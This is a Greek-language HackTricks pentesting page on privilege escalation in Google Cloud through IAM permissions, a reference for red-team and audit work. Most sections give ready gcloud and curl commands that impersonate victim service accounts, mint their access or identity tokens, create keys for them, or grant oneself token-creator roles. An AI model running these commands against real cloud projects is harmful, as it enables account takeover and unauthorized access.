GCP - IAM Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

IAM

Βρείτε περισσότερες πληροφορίες για το IAM στο:

GCP - IAM, Principals & Org Policies Enum

iam.roles.update (iam.roles.get)

Ένας attacker με τις αναφερόμενες permissions θα μπορεί να ενημερώσει ένα role που σας έχει ανατεθεί και να σας δώσει επιπλέον permissions σε άλλους πόρους, όπως:

gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε τη δημιουργία, exploit και καθαρισμό ενός vuln περιβάλλοντος εδώ και ένα python script για να καταχραστείτε αυτό το προνόμιο here. Για περισσότερες πληροφορίες δείτε την original research.

gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>

iam.roles.create & iam.serviceAccounts.setIamPolicy

Η άδεια iam.roles.create επιτρέπει τη δημιουργία προσαρμοσμένων ρόλων σε ένα έργο/οργανισμό. Στα χέρια ενός επιτιθέμενου, αυτό είναι επικίνδυνο γιατί του επιτρέπει να ορίσει νέα σύνολα δικαιωμάτων τα οποία μπορούν στη συνέχεια να ανατεθούν σε οντότητες (για παράδειγμα, χρησιμοποιώντας την άδεια iam.serviceAccounts.setIamPolicy) με στόχο την κλιμάκωση προνομίων.

gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"

iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)

Ένας attacker με τα αναφερθέντα permissions θα μπορεί να request an access token that belongs to a Service Account, επομένως είναι δυνατό να ζητήσει ένα access token ενός Service Account με περισσότερα privileges από το δικό μας.

Για μια resource-driven παραλλαγή όπου attacker-controlled code κλέβει ένα managed Vertex AI Agent Engine runtime token από την metadata service και το επαναχρησιμοποιεί ως Vertex AI service agent, δείτε:

GCP - Vertex AI Post Exploitation

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε τη δημιουργία, την εκμετάλλευση και τον καθαρισμό ενός ευάλωτου περιβάλλοντος εδώ και ένα python script για να εκμεταλλευτείτε αυτό το δικαίωμα εδώ. Για περισσότερες πληροφορίες δείτε την πρωτότυπη έρευνα.

iam.serviceAccountKeys.create

Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να create a user-managed key for a Service Account, το οποίο θα μας επιτρέψει να αποκτήσουμε πρόσβαση στο GCP ως αυτός ο Service Account.

gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

Μπορείτε να βρείτε ένα script για την αυτοματοποίηση της creation, exploit and cleaning of a vuln environment here και ένα python script για να εκμεταλλευτείτε αυτό το προνόμιο here. Για περισσότερες πληροφορίες δείτε την original research.

Σημειώστε ότι iam.serviceAccountKeys.update δεν θα λειτουργήσει για να τροποποιήσει το κλειδί ενός SA, επειδή για αυτό απαιτείται επίσης η άδεια iam.serviceAccountKeys.create.

iam.serviceAccounts.implicitDelegation

Αν έχετε την iam.serviceAccounts.implicitDelegation άδεια σε ένα Service Account που έχει την iam.serviceAccounts.getAccessToken άδεια σε ένα τρίτο Service Account, τότε μπορείτε να χρησιμοποιήσετε implicitDelegation για να δημιουργήσετε ένα token για αυτό το τρίτο Service Account. Παρακάτω υπάρχει ένα διάγραμμα που βοηθά στην εξήγηση.

Σημειώστε ότι σύμφωνα με την documentation, η ανάθεση του gcloud λειτουργεί μόνο για να δημιουργήσει ένα token χρησιμοποιώντας τη μέθοδο generateAccessToken(). Επομένως, παρακάτω δείχνεται πώς να αποκτήσετε ένα token χρησιμοποιώντας απευθείας το API:

curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε την creation, exploit and cleaning of a vuln environment here και ένα python script για να καταχραστείτε αυτό το προνόμιο here. Για περισσότερες πληροφορίες δείτε την original research.

iam.serviceAccounts.signBlob

Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να sign of arbitrary payloads in GCP. Έτσι θα είναι δυνατό να create an unsigned JWT of the SA and then send it as a blob to get the JWT signed από το SA που στοχεύουμε. Για περισσότερες πληροφορίες read this.

Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε την creation, exploit and cleaning of a vuln environment here και ένα python script για να καταχραστείτε αυτό το προνόμιο here και here. Για περισσότερες πληροφορίες δείτε την original research.

iam.serviceAccounts.signJwt

Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να sign well-formed JSON web tokens (JWTs). Η διαφορά με την προηγούμενη μέθοδο είναι ότι instead of making google sign a blob containing a JWT, we use the signJWT method that already expects a JWT. Αυτό την καθιστά ευκολότερη στη χρήση, αλλά μπορείτε να υπογράψετε μόνο JWT αντί για οποιαδήποτε bytes.

Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε την creation, exploit and cleaning of a vuln environment here και ένα python script για να καταχραστείτε αυτό το προνόμιο here. Για περισσότερες πληροφορίες δείτε την original research.

iam.serviceAccounts.setIamPolicy

Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να add IAM policies to service accounts. Μπορείτε να το καταχραστείτε για να grant yourself τα δικαιώματα που χρειάζεστε για να impersonate το service account. Στο παρακάτω παράδειγμα χορηγούμε στον εαυτό μας το ρόλο roles/iam.serviceAccountTokenCreator πάνω στο ενδιαφέρον SA:

gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"

You can find a script to automate the creation, exploit and cleaning of a vuln environment here.

iam.serviceAccounts.actAs

Η iam.serviceAccounts.actAs permission είναι παρόμοια με την iam:PassRole permission from AWS. Είναι απαραίτητη για την εκτέλεση εργασιών, όπως την εκκίνηση ενός Compute Engine instance, καθώς δίνει τη δυνατότητα να “actAs” ένα Service Account, εξασφαλίζοντας ασφαλή διαχείριση δικαιωμάτων. Χωρίς αυτήν, χρήστες μπορεί να αποκτήσουν αδικαιολόγητη πρόσβαση. Επιπλέον, η εκμετάλλευση του iam.serviceAccounts.actAs περιλαμβάνει διάφορες μεθόδους, καθεμία από τις οποίες απαιτεί ένα σύνολο αδειών, σε αντίθεση με άλλες μεθόδους που χρειάζονται μόνο μία.

Πλαστοπροσωπία service account

Η impersonation ενός service account μπορεί να είναι πολύ χρήσιμη για την απόκτηση νέων και καλύτερων προνομίων. Υπάρχουν τρεις τρόποι με τους οποίους μπορείτε να impersonate another service account:

  • Αυθεντικοποίηση using RSA private keys (αναφέρθηκε παραπάνω)
  • Εξουσιοδότηση using Cloud IAM policies (περιγράφεται εδώ)
  • Deploying jobs on GCP services (πιο εφαρμόσιμο στην παραβίαση λογαριασμού χρήστη)

iam.serviceAccounts.getOpenIdToken

Ένας επιτιθέμενος με τις προαναφερθείσες άδειες θα μπορεί να δημιουργήσει ένα OpenID JWT. Αυτά χρησιμοποιούνται για την επιβεβαίωση ταυτότητας και δεν συνεπάγονται απαραίτητα κάποια έμμεση εξουσιοδότηση σε πόρο.

Σύμφωνα με αυτό το interesting post, είναι απαραίτητο να υποδείξετε την audience (την υπηρεσία στην οποία θέλετε να χρησιμοποιήσετε το token για αυθεντικοποίηση) και θα λάβετε ένα JWT υπογεγραμμένο από google που υποδεικνύει το service account και την audience του JWT.

You can generate an OpenIDToken (if you have the access) with:

# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

Στη συνέχεια μπορείτε απλώς να το χρησιμοποιήσετε για να αποκτήσετε πρόσβαση στην υπηρεσία με:

curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

Μερικές υπηρεσίες που υποστηρίζουν authentication μέσω αυτού του είδους των tokens είναι:

Μπορείτε να βρείτε ένα παράδειγμα για το πώς να δημιουργήσετε ένα OpenID token εκ μέρους ενός service account here.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks